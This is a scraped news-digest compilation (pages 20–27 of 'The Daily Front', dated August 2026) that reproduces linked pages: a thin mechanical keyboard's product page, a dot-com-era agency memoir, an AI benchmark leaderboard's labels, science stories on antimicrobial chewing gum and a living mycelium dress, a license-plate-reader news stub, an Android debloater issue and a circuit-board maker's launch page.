Known Issue: Quake players hosting a Dawn of the Machine online multiplayer match on Switch will disconnect from the lobby on level transitions, forcing other players to drop too.

Workaround: To avoid this issue, Switch players should avoid hosting online multiplayer games featuring Dawn of the Machine maps and join cross-play games featuring these maps instead.

If you're still experiencing issues, please holler at our amazing Customer Service team.

The Daily Front Page 20 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — The Thin Mechanical
show hn

Show HN: I spent 2 years designing a mechanical Magic Keyboard

by aemerson_·▲ 266 points·219 comments·electronicmaterialsoffice.com ↗
A mechanical miracle

Mechanical miracle.

$349 $249

Altar II keyboard

M-Dial close-up

Side profile

Top view

Hero view 4

Mobile view 1

Mobile view 2

Magic

Shockingly thin, fully mechanical. Altar II combines a superlative typing experience with an unbelievable design.

Hero full width

Mechanical

A mechanical miracle. An incredibly precise, tactile typing experience in a remarkably thin chassis.

Key switch close-up

Amazing feel. Thanks to breakthrough engineering, Altar II houses a fully mechanical switch inside a tiny chassis.

Switch mechanism

Durable design. Steel construction means an incredibly durable mechanism with long operating life.

Switch comparison

Vertical challenge. A preloaded tension spring arranged laterally rather than vertically enables a vertical travel depth of just 1.8mm.

Comparison

Four point seven five millimetres. Impossibly thin and sleek, Altar II redefines the low profile keyboard category.

Altar II

4.75mm

Fully Mechanical

Altar II side profile

Apple Magic Keyboard

10.09mm

Non-Mechanical

Apple Magic Keyboard side profile

Logitech MX Keys

20.50mm

Non-Mechanical

Logitech MX Keys side profile

NuPhy Air75

21.00mm

Fully Mechanical

NuPhy Air75 side profile

Keychron K2

30.00mm

Fully Mechanical

Keychron K2 side profile

IBM Model M

50.00mm

Fully Mechanical

IBM Model M side profile

M-Dial

Introducing M-Dial™. A magnetically detachable, clickable, swappable dial.

Intuitive. Twist for volume adjustment, single click for play/pause, double click for skip, triple for back. Press and hold for Siri.

Detachable. M-Dial™ snaps off quickly and easily for travelling or stowing Altar II away.

Swappable M-Dial variants

Swappable. Swap to the included low-profile variant of M-Dial™, or choose from additional shapes and sizes.

3D printed M-Dial

BYO(M)D. Design and 3D print your own M-Dial™. 3D files, drawings and specifications will be published publicly online.

M-Dial app customisation

Customisable. All M-Dial™ functionality is completely customisable using the Altar II companion app.

Haptic Feedback

Feels like an epiphany. Harmonic Synthesiser™ enables crisp, subtle, expressive haptic feedback.

Harmonic Synthesiser

Harmonic Synthesiser™ enables new ways to interact with your computer through gentle, delightful haptic feedback. It enhances the typing experience and is engineered alongside M-Dial™ for real-time simulated ticks. It also gives tactile feedback about the state of Altar II, like when it wakes and connects to your computer.

Haptic feedback interactions

Novel interactions. Holding a modifier key gives a smooth, oscillating hum, and a gentle pop lets you know when a shortcut has been completed.

Real-time haptic notifications

Subtle real-time feedback. Altar II taps you when you receive notifications, reminders, or alerts from your Mac.

Haptic configuration app

Fully configurable. Tune intensity and behaviour of haptic feedback in the EMO app.

Built-in speaker

Audio

A high fidelity speaker built into Altar II enables subtle audio feedback — like wake sounds, and charging chimes.

Native macOS App

Made for Mac.

Native Swift app

Fully native. A lightweight, delightfully designed app, written in Swift and crafted specifically for macOS.

Customization options

You're in control. Customise Altar II by changing key bindings, M-Dial™ behaviours, backlight, haptic and audio levels.

App-specific shortcuts

App-specific shortcuts. Create your own shortcuts for Figma, DaVinci Resolve, Visual Studio Code, or whatever app you like.

Haptic notifications

A deeper feeling. Haptic feedback for system events like notifications, alerts, and reminders thanks to deep integration with macOS.

Portable settings

Grab'n'go. All your settings live on Altar II. Take them with you anywhere, on any computer or OS — no app needed.

Backlight

Follow the light. NiteLite™ preserves night vision, reduces eye strain and helps you sleep better.

NiteLite ambient light sensor

Here when you need it. NiteLite™ only activates in low ambient lighting conditions, such as at night.

NiteLite sleep better

Sleep better. NiteLite uses a long-wavelength amber-red light that won't affect your body's circadian rhythm, meaning you can sleep better at night.

NiteLite night vision preservation

See clearly. NiteLite™ reduces eye strain and preserves your eyes' natural night vision.

Inertial Damper

Sounds divine. A dual layer Inertial Damper™ provides understated acoustics and responsive key feedback.

Floating foundation. The Inertial Damper™ system is composed of dual layers: A silicone membrane between the logic board and monobody, and an oversize elastomer footpad below. This system suspends the typing platform for total acoustic and vibration isolation.

Altar II exploded view

Typing test

Recorded on pre-production hardware with Zoom H5, 24-bit/48kHz, XY stereo, 40cm above device, 80Hz high-pass.

Design

The devil’s in the details.

ESPtype key shapes

ESPtype™. The breakthrough EMO typing system denotes different regions of the keyboard by key shape, making touch typing effortless.

Battery casket

Battery casket. A purpose-designed chamber housing a high-density battery, speaker, and precision electronics.

Typography

Typography. GT Flexa and Tobias form the typographic foundation of Altar II.

Mac layout

Mac layout. Command, Option, Control, Function — right where you expect them.

Compact footprint

Compact Footprint. A 75% layout with complete function row and full-size arrow keys.

Colours

Colours. Comes in any colour. As long as it's black.

Ergonomics

Sacred geometry. A super slim frame ensures a comfortable, ergonomic typing position.

Standard mechanical keyboard

Typical mechanical keyboard wrist angle

Typical mechanical keyboards have a tall leading edge that requires wrist extension when in use. Over long periods this can cause strain.

Altar II

Altar II wrist angle

With a sub 5mm thin chassis, wrist extension is minimal when using Altar II. This reduces likelihood of carpal tunnel syndrome or repetitive strain injuries.

Technology

Grand design. An intense focus on miniaturisation, density and engineering was needed to fit so much in such an unbelievably small package.

Spacebar technology

Spacebar. Multiple technologies are housed under the spacebar, including the Harmonic Synthesiser™, proximity sensing system, LED matrix driver, wireless antenna, and central processing unit.

M-Dial plinth

M-Dial™ plinth. The M-Dial™ plinth interior is exceptionally dense, containing integrated circuits for the ambient light sensor, fast charging, and Hall Effect sensor array that powers M-Dial™.

Battery casket

Battery casket. Housing dense technology in tight spaces — combined with vertically expanding the battery casket — creates space for the largest, highest density battery possible.

Sustainability

We moved Heaven for Earth.

REGEN polymer

REGEN™ polymer. Plastic in Altar II is made from at least 50% recycled content.

Recyclable aluminium

Recyclable aluminium. A chassis machined from a single block of infinitely recyclable aluminium.

Plastic-free packaging

Plastic-free, compact packaging. Packaging made entirely from paper and biodegradable sugarcane pulp. Minimised packaging volume means more devices per pallet, and fewer shipping trips overall.

Power efficiency

Incredible power efficiency. Best-in-class power management means less energy drawn, and less total charge-time.

Power

Power that compels.

Up to

2 days usage
in 2 minutes

of charging‡

‡ when charged with standard USB-C port.

Up to

30 days

battery life with typical use†

† Based on a typical 8 hour work day, including 30 minutes of backlight-on time per day.

Accessories

A match made in Heaven.

XL desk mat

Mat, Desk, XL Oversize desk mat made from completely recycled materials.

Supplementary M-Dial pack

M-Dial™ Pack, Supplementary A collection of five swappable M-Dials™ in strange shapes and sizes.

Hot-weather field cap

Cap, Field, Hot Weather Low profile, unstructured cap embroidered with EMO branding. Suitable for warm climates

Softshell field case

Case, Field, Softshell Slimline textile transportation case designed for Altar II. Includes dedicated M-Dial™ pouch.

In the Box

Altar II keyboard

USB-C cable and M-Dials

Field manual

EMO stickers

Typical contents: 1pcs Altar II keyboard, 1pcs coiled USB-C to USB-C cable, 1pcs M-Dial™, standard issue, 1pcs M-Dial™, low profile, 1pcs field manual (front), decorative print (reverse), 5pcs EMO stickers.

Technical specifications

Height 4.75mm

Width 299mm

Depth 116.5mm

Firmware ZMK, Zephyr-based Real-Time Operating System (RTOS)

Switches Dual steel arm scissor switch w/ retention spring, 40gf actuation force

Materials Regen polymer, 6061 aluminium, TPU footpad, silicone membrane, FR4 logic board

Battery Life Up to 30-day battery life with normal use

Connectivity 2x Bluetooth 5.0 Low Energy (LE) channels 1x USB-C

OS Support Apple macOS 12 (Monterey) and up, Microsoft Windows 10 and up

Typefaces Tobias by Displaay Type Foundry GT Flexa by Grilli Type

Companion App Compat. macOS 26 Tahoe and up

Technical staff

Embedded Eng. Kurtis Lew Mike Snyder

Electrical Eng. Moritz Plattner

Mechanical Eng., DFM, Manufacturing Steven Nersesian (Metric Designworks)

Design Andrew Emerson

Altar II keyboard

The Daily Front Page 21 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — Dispatch from Y2K
article

Let's all meet up in the Y2K

by msephton·▲ 113 points·83 comments·blog.gingerbeardman.com ↗
Please take a seat for peak translucent plastic frutiger aero aesthetic

Back in 2024 I posted a few of these on Twitter (thread reader) after digging out old photos from the dot-com boom. I was working in London at a digital agency called Blueberry. Please take a seat for peak translucent plastic frutiger aero aesthetic, long before the term was coined, and some period flashbacks if you were working on the web at this time.

I’d come from graphic design agency Form, but wanted somewhere to do bigger web projects with other likeminded souls. Blueberry was more like a social club than a job, and we still shipped a lot of work for clients like Laura Ashley, Ben & Jerry’s, Ted Baker, The Times, Boo.com, Snow24, and many more I forget. Everything I produced was hand-coded in HomeSite: HTML, JS, CSS. This was before browser CSS support came of age, so it was all table layouts with single pixel spacer gifs: good times!

IMG

If you’d like to know how crazy those days were: at one point they asked me to work a weekend and I already had plans, so they asked what it would take. I wanted a classic FIAT 500, so I named the price of the car: multiple thousands of pounds. The management said yes, it was their only option. So that’s what I got paid for a weekend building a site nobody else could get done.


Home & Away

That’s me on the left of the first shot, curling my bottom lip when I’m deep in thought as I still do today. I must be 23 or 24 years of age. HomeSite undoubtedly open somewhere in Windows. The reindeer on my monitor pooped little brown jelly beans when you pressed down on its rear end, a gift from my girlfriend at the time.

On the desk facing the camera, my good friend Morgan Gibbons’ (Creative Artworker extraordinaire) Graphite Power Mac G4 tower, Apple CRT, translucent Pro Keyboard and Mouse, Sony headphones, promotional postcards: Phwoar! G4, some Renault Clio car porn, and of course a nice cup of tea. His desktop wallpaper is Quake III, which we all used to play over the LAN “…in your face!”. There’s an official Dreamcast magazine in the corner featuring Crazy Taxi, which dates this photo to March 2000. I also spy a Bowser wrist rest in front of the keyboard, an Apple mouse mat with rainbow logo, and an Iomega Zip drive just to its right.

IMG

Bubblegum iMacs were everywhere on the floor. My one sat dark among paper trays; another was sitting pretty on with Mac OS X Aqua-era desktop art, with a mismatched purple translucent mouse. Cold Fusion was the hottest back end programming language at the time, and Mark Stradling was our guy for that. I seem to remember he drove a classic Triumph Spitfire car during his time off.

IMG

Later I moved upstairs onto a secret project and upgraded to a Sony VAIO PCG-Z600RE laptop, a Palm Vx, and a Sony Ericsson phone. And of course I had a test iMac of my own. We can see my being a FIAT fan boy because by this point I was driving the car I bought with a weekend’s earnings. There’s also a NGPC (Neo Geo Pocket Color) in its box nestled amongst the mess of my desk, and a promo copy of Dreamcast game Crazy Taxi for me to take home.

IMG

For some reason I’m sat at somebody else’s desk, sizing up the height and fit of the chair. Diesel jeans and jumper, Deliverance food box on the partition (decades before Deliveroo, Just Eat, Uber Eats, etc). I guess we must have been working late one night.

IMG

After that I think I complained and got moved downstairs again, sitting next to the legend that is Shaun Jackson, who I am still in touch with. IIRC I’m helping him out with a tricky bit of page layout!

IMG


Getting Things Done

The open plan floor, with offices at either end and a kitchen half way down, was all curved purple desks and CRT monitors. A hive of activity and house music or drum’n’bass. I have fond memories of BT (Movement in Still Life), various Deep Dish compilations (Yoshiesque) and the back catalogue Omni Trio being played regularly, at least by me.

IMG

Closer in: two computers per-desk, magazines and CD-ROMs on the partition, a MiniDisc player!

IMG

Everybody was always moving around as they worked on different projects. I’m pretty sure this is another photo from Morgan’s desk when it was one island away from his first desk. The PlayStation 2 and Phwoar! G4 are the giveaway. I’m sure somebody will be able to date that fashion magazine.

IMG


Reception

The entrance from the corridor: frosted Blueberry doors, glass wall looking into the bar stools, Christmas lights still up in the atrium.

IMG

Inside, reception had chrome stools and a bar-height counter. Visitors could surf the web sat in dentist chairs with iMacs on swing arms. Naturally!

IMG


Backroom

There was servers cabinet in most rooms, and we had a dedicated server room: rackmount drives, a switch with a bird’s nest of blue patch cables, a CRT console in the middle of the stack, and a beige tower on the floor beside it. It was in the server room that unwitting people were first subjected to Goatse (do not search this) and were cries would echo around the building as one of the network guys lost a game of Quake III or Unreal Tournament.

IMG


Todo

This whiteboard has my name next to some of Thursday’s tickets:

  • Finish Instant Win — Matt
  • All other graphic changes — Matt
  • Home page — Karen/Gus
  • Store designs / Postcard designs / Banner ads / Affiliate section — Gus/Karen

IMG


Viral Email

We had a sister company called Magic Button that did affiliate marketing. Unfortunately, a girl who worked there sent an intimate email to a guy she knew. He forwarded it to his friends, who forwarded it to their friends, and so on, until there were so many news reporters swarming the building that the girl had to take a few months off to calm things down. You can read more about that at The Guardian, 15th December 2000.


Game Over

By April 2001 the downturn was already in the trade press, and eventually the liquidators arrived.

Just before they claimed everything, I took a Bubblegum iMac as a parting “gift”. Then a second one, because the first didn’t have a DVD drive. For a while that machine ran OS 9 and briefly the OS X Preview. I used it to play imported DVDs and learn more about how Mac OS X worked.


Credits

Thanks to Morgan Gibbons and Anthony Hogbin for some of the photos and memories.

The Daily Front Page 22 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — Models, Medicine & Material
article

Qwen3.8 Max now ranked as the best overall model by agentic index

by apitman·▲ 475 points·302 comments·artificialanalysis.ai ↗

Understand the AI landscape to choose the best model and provider for your use case

Intelligence

Intelligence of leading AI models based on our independent evaluations

Artificial Analysis Intelligence IndexUpdatedAgentic IndexUpdated

Artificial Analysis Intelligence Index

Artificial Analysis Intelligence Index v4.1.1 incorporates 9 evaluations: GDPval-AA v2, 𝜏³-Banking, Terminal-Bench v2.1, SciCode, Humanity's Last Exam, GPQA Diamond, CritPt, AA-Omniscience, AA-LCR

Artificial Analysis Intelligence Index

Artificial Analysis Intelligence Index v4.1.1 includes: GDPval-AA v2, 𝜏³-Banking, Terminal-Bench v2.1, SciCode, Humanity's Last Exam, GPQA Diamond, CritPt, AA-Omniscience, AA-LCR. See Intelligence Index methodology for further details, including a breakdown of each evaluation and how we run them.

Artificial Analysis Intelligence Index by Open Weights / Proprietary

Artificial Analysis Intelligence Index v4.1.1 incorporates 9 evaluations: GDPval-AA v2, 𝜏³-Banking, Terminal-Bench v2.1, SciCode, Humanity's Last Exam, GPQA Diamond, CritPt, AA-Omniscience, AA-LCR

Open Weights

Indicates whether the model weights are available. Models are labelled as 'Commercial Use Restricted' if the weights are available but commercial use is limited (typically requires obtaining a paid license).

Cost per Intelligence Index Task

Weighted average cost (USD) per Artificial Analysis Intelligence Index task, segmented by token type. Lower is better

Cost per Intelligence Index Task

Weighted average cost per Intelligence Index task. Each evaluation’s cost is calculated from input, cache hit, cache write, reasoning, and answer token prices, divided by task count, and weighted by its Intelligence Index weight.

Intelligence Index vs. Cost per Intelligence Index Task

Artificial Analysis Intelligence Index · Weighted average cost (USD) per Artificial Analysis Intelligence Index task

Frontier Language Model Intelligence, Over Time

Artificial Analysis Intelligence Index v4.1.1 incorporates 9 evaluations: GDPval-AA v2, 𝜏³-Banking, Terminal-Bench v2.1, SciCode, Humanity's Last Exam, GPQA Diamond, CritPt, AA-Omniscience, AA-LCR

Coding Agent Index

Performance, cost, and execution time for leading coding agents on end-to-end software engineering tasks

Artificial Analysis Coding Agent Index

Composite average pass@1 across DeepSWE, Terminal-Bench v2, and SWE-Atlas-QnA · Higher is better

Image & Video

Top models from our Image Arena and Video Arena leaderboards, with 95% confidence intervals

Text to Image Leaderboard

Elo scores from blind preference votes in our Image Arena. See the full leaderboard here.

Speech

Top models from our Text to Speech Arena, Speech to Text and Speech to Speech evaluations

Text to Speech Arena Leaderboard

Elo scores from blind preference votes in our Text to Speech Arena · Higher is better

Quality Elo

Relative Elo score of the models as determined by responses from users in Artificial Analysis' Speech Arena. Some models may not be shown due to not yet having enough votes.

Capability Indices

Measures the performance of models on specific capabilities and industries

Artificial Analysis Agentic Index

Measures performance in agentic workflows, focusing on behaviors like tool use, planning, autonomy, and complex problem solving.

Benchmarks

Intelligence Evaluations

Intelligence evaluations measured independently by Artificial Analysis · Higher is better

GDPval-AA v2

Agentic real-world work tasks, (Elo-500)/2000

𝜏³-Banking

Agentic tool use

Terminal-Bench v2.1

Agentic coding & terminal use

SciCode

Coding

Humanity's Last Exam

Reasoning & knowledge

GPQA Diamond

Scientific reasoning

CritPt

Physics reasoning

AA-Omniscience Accuracy

Knowledge

AA-Omniscience Non-Hallucination Rate

1 - hallucination rate

AA-LCR

Long context reasoning

AA-Briefcase

Agentic knowledge work, Elo

AutomationBench-AA

Agentic SaaS workflows

Harvey LAB-AA

Legal agentic work, criterion pass rate

EnterpriseOps-Gym-AA

Agentic business operations

IFBench

Instruction following

APEX-Agents-AA

Long-horizon agentic tasks

ITBench-AA

Kubernetes incident root-cause analysis

MMMU-Pro

Visual reasoning

Intelligence Evaluation Relevance

While model intelligence generally translates across use cases, specific evaluations may be more relevant for certain use cases.

Artificial Analysis Intelligence Index

Artificial Analysis Intelligence Index v4.1.1 includes: GDPval-AA v2, 𝜏³-Banking, Terminal-Bench v2.1, SciCode, Humanity's Last Exam, GPQA Diamond, CritPt, AA-Omniscience, AA-LCR. See Intelligence Index methodology for further details, including a breakdown of each evaluation and how we run them.

AA-Briefcase

AA-Briefcase is a frontier agentic evaluation for long-horizon knowledge work, testing agents on realistic business workflows that require deliverables such as spreadsheets, presentations, and memos

AA-Briefcase Elo

AA-Briefcase is an agentic knowledge work benchmark developed by Artificial Analysis. AA-Briefcase Elo is a combined metric that aggregates rubric pass rate, analytical quality Elo and presentation Elo · Higher is better

AA-Omniscience

AA-Omniscience is a knowledge and hallucination benchmark that rewards accuracy, punishes bad guesses and provides a comprehensive view of which models produce factually reliable outputs across different domains

AA-Omniscience Index

AA-Omniscience Index (higher is better) measures knowledge reliability and hallucination. It rewards correct answers, penalizes hallucinations, and has no penalty for refusing to answer. Scores range from -100 to 100, where 0 means as many correct as incorrect answers, and negative scores mean more incorrect than correct.

GDPval-AA v2

GDPval-AA v2 evaluates AI models on real-world, economically valuable tasks across a wide range of occupations

GDPval-AA v2 Leaderboard

Elo rating for performance on real-world work tasks · Anchored to a human baseline of 1,000 · Higher is better

Openness Index

Artificial Analysis Openness Index assesses how 'open' models are on the basis of their availability and transparency across different components.

Artificial Analysis Openness Index: Components

Openness Index underlying score contribution by components, up to a maximum of 18 (higher is more open)

Artificial Analysis Openness Index vs. Artificial Analysis Intelligence Index

Output Tokens

Output tokens of leading AI models based on our independent evaluations

Output Tokens per Intelligence Index Task

Weighted average number of output tokens used to run one task in the Artificial Analysis Intelligence Index

Output Tokens per Intelligence Index Task

The number of tokens required per Intelligence Index task. This is calculated by multiplying the output tokens per eval by the relative weights of each benchmark in the Intelligence Index, then dividing by task count (excluding repeats).

Cost

Price and real-world costs of leading AI models based on our independent evaluations

Cost per Intelligence Index Task

Weighted average cost per Intelligence Index task, segmented by token type. Lower is better

Cost per Intelligence Index Task

Each evaluation’s cost is calculated from input, cache hit, cache write, reasoning, and answer token prices, divided by task count, and weighted by its Intelligence Index weight.

Cost to Run Artificial Analysis Intelligence Index

Cost (USD) to run all evaluations in the Artificial Analysis Intelligence Index

Cost to Run Artificial Analysis Intelligence Index

The cost to run the evaluations in the Artificial Analysis Intelligence Index, calculated using the model's input, cache hit, cache write, reasoning, and answer token prices and the number of tokens used across evaluations (excluding repeats).

Pricing: Cache Hit, Input, and Output

Price (USD per M Tokens)

Cache Hit

Price per token for cached prompts (previously processed), typically offering a significant discount compared to regular input price, represented as USD per million tokens. The values shown here are the cache hit price; cache write and cache storage are billed separately and vary by provider — see "Cache pricing by provider" for detail.

Speed & Latency

Comparison of first-party API performance

Output Speed

Output tokens per second · Higher is better

Output Speed

Tokens per second received while the model is generating tokens (ie. after first chunk has been received from the API for models which support streaming).

Model Performance Representation

Figures represent performance of the model's first-party API (e.g. OpenAI for o1) or the median across providers where a first-party API is not available (e.g. Meta's Llama models).

Time per Intelligence Index Task

Weighted average decode time (minutes) per task; excludes TTFT and overhead time · Lower is better

Time per Intelligence Index Task

The weighted average time (seconds) per Artificial Analysis Intelligence Index task. This is calculated by dividing output tokens per task by output speed, weighted by the relative weights of each benchmark in the Intelligence Index.

Providers

Endpoint Accuracy Index: gpt-oss-120b (high)

v1.0 · Composite of BFCL v4-500, HLE-250 and AA-LCR-25 run against each provider endpoint · Percentage of the reference endpoint, with 95% confidence interval · Higher is better

Endpoint Accuracy Index

Composite measure of how much of a model's accuracy a given provider endpoint preserves, from re-running BFCL v4-500, HLE-250 and AA-LCR-25 against that endpoint. Where a self-hosted reference endpoint exists, scores are expressed as a percentage of that reference (100 = matches reference); lower scores indicate accuracy lost to quantisation, sampling defaults, or other endpoint-side configuration. Scores are point-in-time snapshots. Methodology.

Emerging Provider Competition

Smaller, emerging providers are offering high output speed and at competitive prices.

Pricing (Cache Hit, Input, and Output): gpt-oss-120b (high)

Price (USD per M Tokens) · Lower is better · 10,000 input tokens

Cache Hit

Price per token for cached prompts (previously processed), typically offering a significant discount compared to regular input price, represented as USD per million tokens. The values shown here are the cache hit price; cache write and cache storage are billed separately and vary by provider — see "Cache pricing by provider" for detail.

Output Speed

Tokens per second received while the model is generating tokens (ie. after first chunk has been received from the API for models which support streaming).

Model Performance Representation

Figures represent performance of the model's first-party API (e.g. OpenAI for o1) or the median across providers where a first-party API is not available (e.g. Meta's Llama models).

The Daily Front Page 23 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — Models, Medicine & Material
article

Bioengineered chewing gum may offer a way to fight HPV and other microbes

by Audiophilip·▲ 94 points·17 comments·sciencedaily.com ↗

Chewing Gum Could Help Fight Oral Cancer

Researchers developed a bioengineered chewing gum that sharply reduced three microbes linked to head and neck cancers. Credit: Shutterstock

Researchers have developed a bioengineered chewing gum that may offer a new way to target microbes associated with head and neck cancer. In tests involving oral samples from patients, extracts from the gum sharply reduced one virus and two types of bacteria linked to the disease.

The research team was led by Henry Daniell of the School of Dental Medicine at the University of Pennsylvania. The findings were published in Scientific Reports and could support the development of more accessible and affordable treatments.

A Need for Better Head and Neck Cancer Therapies

Head and neck squamous cell carcinoma (HNSCC) is a common form of cancer that begins in the tissues lining the mouth and throat. The disease can be particularly aggressive, and outcomes are often poor when it is discovered at a later stage.

Daniell says that many recently approved cancer medications have not produced major improvements in patients' quality of life or five-year survival. That limited progress highlights the need for new approaches that can work alongside existing treatments.

Targeting HPV and Harmful Oral Bacteria

The new study builds on earlier research involving chewing gum made from lablab beans (bean gum). The gum contains FRIL, a naturally occurring antiviral protein.

Daniell and his colleagues used oral samples from patients with HNSCC to study three microbes associated with cancer. These included human papillomavirus, or HPV, along with two bacterial species, Porphyromonas gingivalis (Pg) and Fusobacterium nucleatum (Fn).

"The global increase in oropharyngeal cancer is linked to HPV infection," says Daniell. "And Pg and Fn infections worsen survival rates of untreated recurrent or metastatic oral cancer, even after surgery and risk-adjusted adjuvant, or supplemental, therapies."

Gum Extracts Sharply Reduce Microbe Levels

Tests showed that extracts from the bean gum lowered HPV levels by 93% in saliva samples. HPV levels also fell by 80% in oral rinse samples.

The researchers then engineered the bean gum to contain protegrin, an antimicrobial peptide capable of killing harmful bacteria. A single dose brought levels of Pg and Fn down to almost zero.

Importantly, the treatment did not appear to harm the beneficial bacteria that normally live in the mouth. Radiation therapy can have a different effect, reducing helpful bacteria while encouraging the growth of disease-causing yeast (Candida albicans).

A Potential Addition to Cancer Treatment

The ability to target dangerous microbes while preserving the healthy oral microbiome could make the gum useful in several ways. Researchers believe it may eventually serve as an additional therapy alongside current cancer treatments or as a preventive measure against infection and transmission.

"Lip and oral cavity cancer was the seventh leading cancer type in cancer incidence and mortality rate worldwide in adolescents, young adults, and middle-aged adults in 2022," says Daniell. "Our findings support the value of advancing these therapies to clinical trials as adjuvants with current treatments or as prophylaxis to prevent infection and transmission."

The Daily Front Page 24 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — Models, Medicine & Material
article

Dress made of living mycelium can renew and repair itself

by speckx·▲ 83 points·50 comments·dezeen.com ↗

Dress made from living mycelium textiles from the Shenzhen Institute of Advanced Technology

Researchers in China have created a textile from living mycelium that is self-cleaning, near self-repairing and can be coloured or made UV protective through "plug-and-play" add-ons of different fungi or yeast.

The breakthrough from the researchers at the Shenzhen Institutes of Advanced Technology is a type of engineered living material (ELM) – a material built off living organisms that stay active even after they're fabricated into their final form.

This distinguishes it from most contemporary uses of mycelium, which involve drying and effectively killing the fungus to produce a stable, non-growing material that has become a popular emerging alternative to plastic packaging and vinyl.

Photo of a dark blue dress with white ruffles on the bottom hem, sitting on a mannequin

By working with living but dormant cordyceps militaris fungus instead, the researchers have been able to take advantage of its biological functions. The result is a material that is self-renewing and responsive to its environment, in ways that could one day transform architecture and clothing – as seen in a prototype dress created together with material innovation company Peelshere.

It can also be adapted by mixing in other fungi or yeast, lead researcher Ke Li and her team detail in a paper in the peer-reviewed journal Science Advances.

In it, they describe a "programmable fungal platform" where mycelium is treated like a modular system, with the sheet material forming a base structure and extra biological abilities, such as colour and UV resistance, becoming "plug-and-play" add-ons via other organisms.

Photo of a hand holding a sheet of translucent, caramel-coloured leathery material that is in fact a fungal textile

This gets their textile closer to the self-repair, environmental responsiveness and controllable functionality that is the promise of engineered living materials, they argue.

"While synthetic biology has greatly expanded the functional capabilities of ELMs, a persistent challenge lies in integrating autonomous structural assembly with sustained biological activity at macroscopic scales," the scientists write.

"Achieving such integration is essential for practical applications, from adaptive textiles to architectural biomaterials, where mechanical robustness, spatial uniformity and scalable fabrication must converge with engineered biological function."

The ELM's self-renewing and semi-repairing functionality comes from the mycelium base structure. Following drying at 45 degrees, the material is not quite living and not quite dead, but instead in a "low-metabolic, dormant-like state", Li told Dezeen, meaning it is not actively growing.

However, new growth can be triggered by applying a nutrient solution of potato water, leading the dormant mycelium to germinate, send out new fungal filaments and renew the material's surface.

When this nutrient solution is applied over a hole, along with a small patch of fresh fungus, it triggers the living cells to grow across the gap, seamlessly repairing the surface without any adhesives or stitching. The material is also naturally self-cleaning, as it is hydrophobic.

Photo of an ornamental butterfly made of wire with a translucent deep blue textile filling in its wings

The blue colour and UV resistance, meanwhile, come from brewer's yeast – also known as saccharomyces cerevisiae – and aspergillus niger fungus, respectively. These are mixed in with the cordyceps militaris at the beginning and simply co-cultured, avoiding the need for genetic engineering.

A prototype dress has been made out of the scientists' material by Berlin-based Peelshere, whose founder YouYang Song is a friend of Li's. Song developed the conceptual and aesthetic design of the dress, while her China-based colleague Ruochen Wang took care of the cutting and construction.

The dress features several versions of the material, including some co-cultured with brewer's yeast for the consistently self-pigmented blue shade in the body of the garment.

Photo of a square plant pot made of earthy brown leather-like material, holding a succulent

Li told Dezeen that the material is suitable for applications such as conceptual fashion, accessories, decorative textile surfaces, exhibition pieces and biodegradable packaging.

"Its distinctive surface texture, biological colouring, controlled repair and biodegradability may be particularly useful in applications where visual expression and a defined product lifetime are important," she said.

"Further improvements in durability, moisture resistance, safety and manufacturing consistency would be needed before it could be considered for routine clothing or permanent architectural use."

Peelsphere's main product is a plant-based and waterproof leather alternative made of fruit peels and algae.

The Daily Front Page 25 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — The Public Realm
article

A handful of cities have replaced Flock with Axon

by cdrnsf·▲ 98 points·42 comments·404media.co ↗

Rather than get rid of ALPR cameras entirely, many cities and towns are switching to Axon, whose cameras can be mounted to an existing streetlamp, helping them blend into their surroundings.

Cities Are Ditching Flock, Immediately Replacing It With Axon License Plate Readers

Image: screenshot from Axon YouTube video.

A handful of cities across the U.S. have ditched Flock’s automatic license plate reader (ALPR) cameras and immediately replaced them with equivalent systems from law enforcement contracting giant Axon, according to local media reports and government documents from around the country. Axon, for example, advertises AI-powered cameras that attach to an existing streetlamp and are designed to completely blend in with their surroundings, and also collects license plate data with cameras installed inside police officers’ patrol vehicles.

Do you work at Axon? Do you know anything else about its technology or expansion? I would love to hear from you. Using a non-work device, you can message me securely on Signal at joseph.404 or send me an email at joseph@404media.co.

The Daily Front Page 26 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — Devices & Production
repository

On non-rooted Android 17, ADB uninstall of system apps fails

by microtonal·▲ 215 points·176 comments·github.com ↗
★ 8,734⑂ 369 forks Rust

Cross-platform GUI written in Rust using ADB to debloat non-rooted Android devices. Improve your privacy, the security and battery life of your device.

Description

The "Disable mode" ("Freeze" in AppManager) should be the default. "Uninstall" causes too much problems

Acknowledgements

  • This issue is not a duplicate of an existing feature request.
  • I have chosen an appropriate title.
  • All requested information has been provided properly.
The Daily Front Page 27 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — Devices & Production
article

Launch HN: ProvenMetal (YC S26) delivers circuit boards in days instead of weeks

by willcarkner·▲ 195 points·140 comments·provenmetal.com ↗

It's not complex to make it simple. Let us build your boards.

See turn times Place an order

Close-up of a fully populated printed circuit board built by ProvenMetal

Speed is our middle name.

You ship hardware on a clock. 4 weeks ain't cuttin it. We do it better. Boards back in as few as five days, or slower and cheaper when the schedule allows. You pick.

5 Days · fastest turn

No BS expedite fees

Day 0 · Quote approved. Your quote shows the exact ship date. Ship day · As quoted

Source & verify

We buy every part from US suppliers and check it against your BOM before the build starts.

Fabricate & assemble

We run fab and assembly with US partners we manage ourselves.

Test & ship

We test every board and ship it with a full quality record.

How fast can you go?

Five days at the quickest. Your quote shows the exact ship date before you commit.

What if cost matters more than speed?

Then we build the other way: a longer turn at a lower price. You pick the tradeoff on every order.

Do revisions take as long?

No. We start from your last revision, so later revs come back faster.

Fast, and we can prove it.

We own the whole build. Every board ships with a full record of its parts, process, and testing.

Detailed view of a fully populated circuit board

Every part, traced.

Sourced from suppliers we vet and verified before it goes on a board.

The whole build, one owner.

Fab, assembly, and test managed by us, not passed between vendors.

The record ships with the boards.

Parts, process, and inspection data on every order. Your audit trail is done before you ask.

One partner, start to finish.

SOURCE

Send your files. We source and verify every part to fit your spec and budget.

BUILD

We run fabrication and assembly across vetted partners, fully domestic if you need it, and manage the whole build.

VERIFY

Every board is tested and shipped fast, with a full quality record.

Send files, get boards. Simple.

Any board, any budget, one team. Send your files and get a real quote with a real ship date.

Place an order

America builds again.

